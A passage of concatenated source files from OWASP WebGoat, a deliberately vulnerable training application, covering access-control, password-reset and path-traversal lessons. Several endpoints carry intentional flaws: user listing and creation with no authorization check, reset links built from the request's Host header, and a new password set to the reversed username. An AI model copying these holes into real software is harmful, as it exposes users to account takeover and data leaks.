org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_SIMPLE; import java.util.ArrayList; import java.util.List; import java.util.stream.Collectors; import lombok.AllArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.session.WebSession; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.servlet.ModelAndView; /** Created by jason on 1/5/17. */ @Controller @AllArgsConstructor @Slf4j public class MissingFunctionACUsers { private final MissingAccessControlUserRepository userRepository; private final WebSession webSession; @GetMapping(path = {"access-control/users"}) public ModelAndView listUsers() { ModelAndView model = new ModelAndView(); model.setViewName("list_users"); List allUsers = userRepository.findAllUsers(); model.addObject("numUsers", allUsers.size()); // add display user objects in place of direct users List displayUsers = new ArrayList<>(); for (User user : allUsers) { displayUsers.add(new DisplayUser(user, PASSWORD_SALT_SIMPLE)); } model.addObject("allUsers", displayUsers); return model; } @GetMapping( path = {"access-control/users"}, consumes = "application/json") @ResponseBody public ResponseEntity> usersService() { return ResponseEntity.ok( userRepository.findAllUsers().stream() .map(user -> new DisplayUser(user, PASSWORD_SALT_SIMPLE)) .collect(Collectors.toList())); } @GetMapping( path = {"access-control/users-admin-fix"}, consumes = "application/json") @ResponseBody public ResponseEntity> usersFixed() { var currentUser = userRepository.findByUsername(webSession.getUserName()); if (currentUser != null && currentUser.isAdmin()) { return ResponseEntity.ok( userRepository.findAllUsers().stream() .map(user -> new DisplayUser(user, PASSWORD_SALT_ADMIN)) .collect(Collectors.toList())); } return ResponseEntity.status(HttpStatus.FORBIDDEN).build(); } @PostMapping( path = {"access-control/users", "access-control/users-admin-fix"}, consumes = "application/json", produces = "application/json") @ResponseBody public User addUser(@RequestBody User newUser) { try { userRepository.save(newUser); return newUser; } catch (Exception ex) { log.error("Error creating new User", ex); return null; } // @RequestMapping(path = {"user/{username}","/"}, method = RequestMethod.DELETE, consumes = // "application/json", produces = "application/json") // TODO implement delete method with id param and authorization } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHash.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.missingac; import static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_SIMPLE; import lombok.RequiredArgsConstructor; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({ "access-control.hash.hint1", "access-control.hash.hint2", "access-control.hash.hint3", "access-control.hash.hint4", "access-control.hash.hint5" }) @RequiredArgsConstructor public class MissingFunctionACYourHash extends AssignmentEndpoint { private final MissingAccessControlUserRepository userRepository; @PostMapping( path = "/access-control/user-hash", produces = {"application/json"}) @ResponseBody public AttackResult simple(String userHash) { User user = userRepository.findByUsername("Jerry"); DisplayUser displayUser = new DisplayUser(user, PASSWORD_SALT_SIMPLE); if (userHash.equals(displayUser.getUserHash())) { return success(this).feedback("access-control.hash.success").build(); } else { return failed(this).build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHashAdmin.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.missingac; import static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_ADMIN; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({ "access-control.hash.hint6", "access-control.hash.hint7", "access-control.hash.hint8", "access-control.hash.hint9", "access-control.hash.hint10", "access-control.hash.hint11", "access-control.hash.hint12" }) public class MissingFunctionACYourHashAdmin extends AssignmentEndpoint { private final MissingAccessControlUserRepository userRepository; public MissingFunctionACYourHashAdmin(MissingAccessControlUserRepository userRepository) { this.userRepository = userRepository; } @PostMapping( path = "/access-control/user-hash-fix", produces = {"application/json"}) @ResponseBody public AttackResult admin(String userHash) { // current user should be in the DB // if not admin then return 403 var user = userRepository.findByUsername("Jerry"); var displayUser = new DisplayUser(user, PASSWORD_SALT_ADMIN); if (userHash.equals(displayUser.getUserHash())) { return success(this).feedback("access-control.hash.success").build(); } else { return failed(this).feedback("access-control.hash.close").build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/missingac/User.java ================================================ package org.owasp.webgoat.lessons.missingac; import lombok.AllArgsConstructor; import lombok.Data; import lombok.NoArgsConstructor; @Data @AllArgsConstructor @NoArgsConstructor public class User { private String username; private String password; private boolean admin; } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordReset.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.passwordreset; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class PasswordReset extends Lesson { @Override public Category getDefaultCategory() { return Category.A7; } @Override public String getTitle() { return "password-reset.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordResetEmail.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.passwordreset; import java.io.Serializable; import java.time.LocalDateTime; import lombok.Builder; import lombok.Data; @Builder @Data public class PasswordResetEmail implements Serializable { private LocalDateTime time; private String contents; private String sender; private String title; private String recipient; } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/QuestionsAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.passwordreset; import java.util.HashMap; import java.util.Map; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * @author nbaars * @since 8/20/17. */ @RestController public class QuestionsAssignment extends AssignmentEndpoint { private static final Map COLORS = new HashMap<>(); static { COLORS.put("admin", "green"); COLORS.put("jerry", "orange"); COLORS.put("tom", "purple"); COLORS.put("larry", "yellow"); COLORS.put("webgoat", "red"); } @PostMapping( path = "/PasswordReset/questions", consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) @ResponseBody public AttackResult passwordReset(@RequestParam Map json) { String securityQuestion = (String) json.getOrDefault("securityQuestion", ""); String username = (String) json.getOrDefault("username", ""); if ("webgoat".equalsIgnoreCase(username.toLowerCase())) { return failed(this).feedback("password-questions-wrong-user").build(); } String validAnswer = COLORS.get(username.toLowerCase()); if (validAnswer == null) { return failed(this) .feedback("password-questions-unknown-user") .feedbackArgs(username) .build(); } else if (validAnswer.equals(securityQuestion)) { return success(this).build(); } return failed(this).build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.passwordreset; import com.google.common.collect.Maps; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.lessons.passwordreset.resetlink.PasswordChangeForm; import org.springframework.ui.Model; import org.springframework.validation.BindingResult; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.servlet.ModelAndView; /** * @author nbaars * @since 8/20/17. */ @RestController @AssignmentHints({ "password-reset-hint1", "password-reset-hint2", "password-reset-hint3", "password-reset-hint4", "password-reset-hint5", "password-reset-hint6" }) public class ResetLinkAssignment extends AssignmentEndpoint { static final String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom"; static final String TOM_EMAIL = "tom@webgoat-cloud.org"; static Map userToTomResetLink = new HashMap<>(); static Map usersToTomPassword = Maps.newHashMap(); static List resetLinks = new ArrayList<>(); static final String TEMPLATE = "Hi, you requested a password reset link, please use this link to reset your" + " password.\n" + " \n\n" + "If you did not request this password change you can ignore this message.\n" + "If you have any comments or questions, please do not hesitate to reach us at" + " support@webgoat-cloud.org\n\n" + "Kind regards, \n" + "Team WebGoat"; @PostMapping("/PasswordReset/reset/login") @ResponseBody public AttackResult login(@RequestParam String password, @RequestParam String email) { if (TOM_EMAIL.equals(email)) { String passwordTom = usersToTomPassword.getOrDefault(getWebSession().getUserName(), PASSWORD_TOM_9); if (passwordTom.equals(PASSWORD_TOM_9)) { return failed(this).feedback("login_failed").build(); } else if (passwordTom.equals(password)) { return success(this).build(); } } return failed(this).feedback("login_failed.tom").build(); } @GetMapping("/PasswordReset/reset/reset-password/{link}") public ModelAndView resetPassword(@PathVariable(value = "link") String link, Model model) { ModelAndView modelAndView = new ModelAndView(); if (ResetLinkAssignment.resetLinks.contains(link)) { PasswordChangeForm form = new PasswordChangeForm(); form.setResetLink(link); model.addAttribute("form", form); modelAndView.addObject("form", form); modelAndView.setViewName("password_reset"); // Display html page for changing password } else { modelAndView.setViewName("password_link_not_found"); } return modelAndView; } @GetMapping("/PasswordReset/reset/change-password") public ModelAndView illegalCall() { ModelAndView modelAndView = new ModelAndView(); modelAndView.setViewName("password_link_not_found"); return modelAndView; } @PostMapping("/PasswordReset/reset/change-password") public ModelAndView changePassword( @ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) { ModelAndView modelAndView = new ModelAndView(); if (!org.springframework.util.StringUtils.hasText(form.getPassword())) { bindingResult.rejectValue("password", "not.empty"); } if (bindingResult.hasErrors()) { modelAndView.setViewName("password_reset"); return modelAndView; } if (!resetLinks.contains(form.getResetLink())) { modelAndView.setViewName("password_link_not_found"); return modelAndView; } if (checkIfLinkIsFromTom(form.getResetLink())) { usersToTomPassword.put(getWebSession().getUserName(), form.getPassword()); } modelAndView.setViewName("lessons/passwordreset/templates/success.html"); return modelAndView; } private boolean checkIfLinkIsFromTom(String resetLinkFromForm) { String resetLink = userToTomResetLink.getOrDefault(getWebSession().getUserName(), "unknown"); return resetLink.equals(resetLinkFromForm); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignmentForgotPassword.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.passwordreset; import java.util.UUID; import javax.servlet.http.HttpServletRequest; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.beans.factory.annotation.Value; import org.springframework.http.HttpEntity; import org.springframework.http.HttpHeaders; import org.springframework.http.HttpMethod; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.client.RestTemplate; /** * Part of the password reset assignment. Used to send the e-mail. * * @author nbaars * @since 8/20/17. */ @RestController public class ResetLinkAssignmentForgotPassword extends AssignmentEndpoint { private final RestTemplate restTemplate; private String webWolfHost; private String webWolfPort; private final String webWolfMailURL; public ResetLinkAssignmentForgotPassword( RestTemplate restTemplate, @Value("${webwolf.host}") String webWolfHost, @Value("${webwolf.port}") String webWolfPort, @Value("${webwolf.mail.url}") String webWolfMailURL) { this.restTemplate = restTemplate; this.webWolfHost = webWolfHost; this.webWolfPort = webWolfPort; this.webWolfMailURL = webWolfMailURL; } @PostMapping("/PasswordReset/ForgotPassword/create-password-reset-link") @ResponseBody public AttackResult sendPasswordResetLink( @RequestParam String email, HttpServletRequest request) { String resetLink = UUID.randomUUID().toString(); ResetLinkAssignment.resetLinks.add(resetLink); String host = request.getHeader("host"); if (ResetLinkAssignment.TOM_EMAIL.equals(email) && (host.contains(webWolfPort) || host.contains(webWolfHost))) { // User indeed changed the host header. ResetLinkAssignment.userToTomResetLink.put(getWebSession().getUserName(), resetLink); fakeClickingLinkEmail(host, resetLink); } else { try { sendMailToUser(email, host, resetLink); } catch (Exception e) { return failed(this).output("E-mail can't be send. please try again.").build(); } } return success(this).feedback("email.send").feedbackArgs(email).build(); } private void sendMailToUser(String email, String host, String resetLink) { int index = email.indexOf("@"); String username = email.substring(0, index == -1 ? email.length() : index); PasswordResetEmail mail = PasswordResetEmail.builder() .title("Your password reset link") .contents(String.format(ResetLinkAssignment.TEMPLATE, host, resetLink)) .sender("password-reset@webgoat-cloud.net") .recipient(username) .build(); this.restTemplate.postForEntity(webWolfMailURL, mail, Object.class); } private void fakeClickingLinkEmail(String host, String resetLink) { try { HttpHeaders httpHeaders = new HttpHeaders(); HttpEntity httpEntity = new HttpEntity(httpHeaders); new RestTemplate() .exchange( String.format("http://%s/PasswordReset/reset/reset-password/%s", host, resetLink), HttpMethod.GET, httpEntity, Void.class); } catch (Exception e) { // don't care } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/SecurityQuestionAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.passwordreset; import static java.util.Optional.of; import java.util.HashMap; import java.util.Map; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * Assignment for picking a good security question. * * @author Tobias Melzer * @since 11.12.18 */ @RestController public class SecurityQuestionAssignment extends AssignmentEndpoint { @Autowired private TriedQuestions triedQuestions; private static Map questions; static { questions = new HashMap<>(); questions.put( "What is your favorite animal?", "The answer can easily be guessed and figured out through social media."); questions.put("In what year was your mother born?", "Can be easily guessed."); questions.put( "What was the time you were born?", "This may first seem like a good question, but you most likely dont know the exact time, so" + " it might be hard to remember."); questions.put( "What is the name of the person you first kissed?", "Can be figured out through social media, or even guessed by trying the most common" + " names."); questions.put( "What was the house number and street name you lived in as a child?", "Answer can be figured out through social media, or worse it might be your current" + " address."); questions.put( "In what town or city was your first full time job?", "In times of LinkedIn and Facebook, the answer can be figured out quite easily."); questions.put("In what city were you born?", "Easy to figure out through social media."); questions.put( "What was the last name of your favorite teacher in grade three?", "Most people would probably not know the answer to that."); questions.put( "What is the name of a college/job you applied to but didn't attend?", "It might not be easy to remember and an hacker could just try some company's/colleges in" + " your area."); questions.put( "What are the last 5 digits of your drivers license?", "Is subject to change, and the last digit of your driver license might follow a specific" + " pattern. (For example your birthday)."); questions.put("What was your childhood nickname?", "Not all people had a nickname."); questions.put( "Who was your childhood hero?", "Most Heroes we had as a child where quite obvious ones, like Superman for example."); questions.put( "On which wrist do you wear your watch?", "There are only to possible real answers, so really easy to guess."); questions.put("What is your favorite color?", "Can easily be guessed."); } @PostMapping("/PasswordReset/SecurityQuestions") @ResponseBody public AttackResult completed(@RequestParam String question) { var answer = of(questions.get(question)); if (answer.isPresent()) { triedQuestions.incr(question); if (triedQuestions.isComplete()) { return success(this).output("" + answer + "").build(); } } return informationMessage(this) .feedback("password-questions-one-successful") .output(answer.orElse("Unknown question, please try again...")) .build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/SimpleMailAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.passwordreset; import static java.util.Optional.ofNullable; import java.time.LocalDateTime; import org.apache.commons.lang3.StringUtils; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.beans.factory.annotation.Value; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.client.RestClientException; import org.springframework.web.client.RestTemplate; /** * @author nbaars * @since 8/20/17. */ @RestController public class SimpleMailAssignment extends AssignmentEndpoint { private final String webWolfURL; private RestTemplate restTemplate; public SimpleMailAssignment( RestTemplate restTemplate, @Value("${webwolf.mail.url}") String webWolfURL) { this.restTemplate = restTemplate; this.webWolfURL = webWolfURL; } @PostMapping( path = "/PasswordReset/simple-mail", consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) @ResponseBody public AttackResult login(@RequestParam String email, @RequestParam String password) { String emailAddress = ofNullable(email).orElse("unknown@webgoat.org"); String username = extractUsername(emailAddress); if (username.equals(getWebSession().getUserName()) && StringUtils.reverse(username).equals(password)) { return success(this).build(); } else { return failed(this).feedbackArgs("password-reset-simple.password_incorrect").build(); } } @PostMapping( consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, value = "/PasswordReset/simple-mail/reset") @ResponseBody public AttackResult resetPassword(@RequestParam String emailReset) { String email = ofNullable(emailReset).orElse("unknown@webgoat.org"); return sendEmail(extractUsername(email), email); } private String extractUsername(String email) { int index = email.indexOf("@"); return email.substring(0, index == -1 ? email.length() : index); } private AttackResult sendEmail(String username, String email) { if (username.equals(getWebSession().getUserName())) { PasswordResetEmail mailEvent = PasswordResetEmail.builder() .recipient(username) .title("Simple e-mail assignment") .time(LocalDateTime.now()) .contents( "Thanks for resetting your password, your new password is: " + StringUtils.reverse(username)) .sender("webgoat@owasp.org") .build(); try { restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); } catch (RestClientException e) { return informationMessage(this) .feedback("password-reset-simple.email_failed") .output(e.getMessage()) .build(); } return informationMessage(this) .feedback("password-reset-simple.email_send") .feedbackArgs(email) .build(); } else { return informationMessage(this) .feedback("password-reset-simple.email_mismatch") .feedbackArgs(username) .build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/TriedQuestions.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.passwordreset; import java.util.HashSet; import java.util.Set; import org.springframework.stereotype.Component; import org.springframework.web.context.annotation.SessionScope; @Component @SessionScope public class TriedQuestions { private Set answeredQuestions = new HashSet<>(); public void incr(String question) { answeredQuestions.add(question); } public boolean isComplete() { return answeredQuestions.size() > 1; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/passwordreset/resetlink/PasswordChangeForm.java ================================================ package org.owasp.webgoat.lessons.passwordreset.resetlink; import javax.validation.constraints.NotNull; import javax.validation.constraints.Size; import lombok.Getter; import lombok.Setter; /** * @author nbaars * @since 8/18/17. */ @Getter @Setter public class PasswordChangeForm { @NotNull @Size(min = 6, max = 10) private String password; private String resetLink; } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/pathtraversal/PathTraversal.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.pathtraversal; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class PathTraversal extends Lesson { @Override public Category getDefaultCategory() { return Category.A3; } @Override public String getTitle() { return "path-traversal-title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUpload.java ================================================ package org.owasp.webgoat.lessons.pathtraversal; import static org.springframework.http.MediaType.ALL_VALUE; import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.WebSession; import org.springframework.beans.factory.annotation.Value; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.multipart.MultipartFile; @RestController @AssignmentHints({ "path-traversal-profile.hint1", "path-traversal-profile.hint2", "path-traversal-profile.hint3" }) public class ProfileUpload extends ProfileUploadBase { public ProfileUpload( @Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { super(webGoatHomeDirectory, webSession); } @PostMapping( value = "/PathTraversal/profile-upload", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE) @ResponseBody public AttackResult uploadFileHandler( @RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName", required = false) String fullName) { return super.execute(file, fullName); } @GetMapping("/PathTraversal/profile-picture") @ResponseBody public ResponseEntity getProfilePicture() { return super.getProfilePicture(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadBase.java ================================================ package org.owasp.webgoat.lessons.pathtraversal; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.nio.file.Files; import java.util.Arrays; import java.util.Base64; import java.util.List; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.SneakyThrows; import org.apache.commons.io.FilenameUtils; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.WebSession; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.util.FileCopyUtils; import org.springframework.util.FileSystemUtils; import org.springframework.util.StringUtils; import 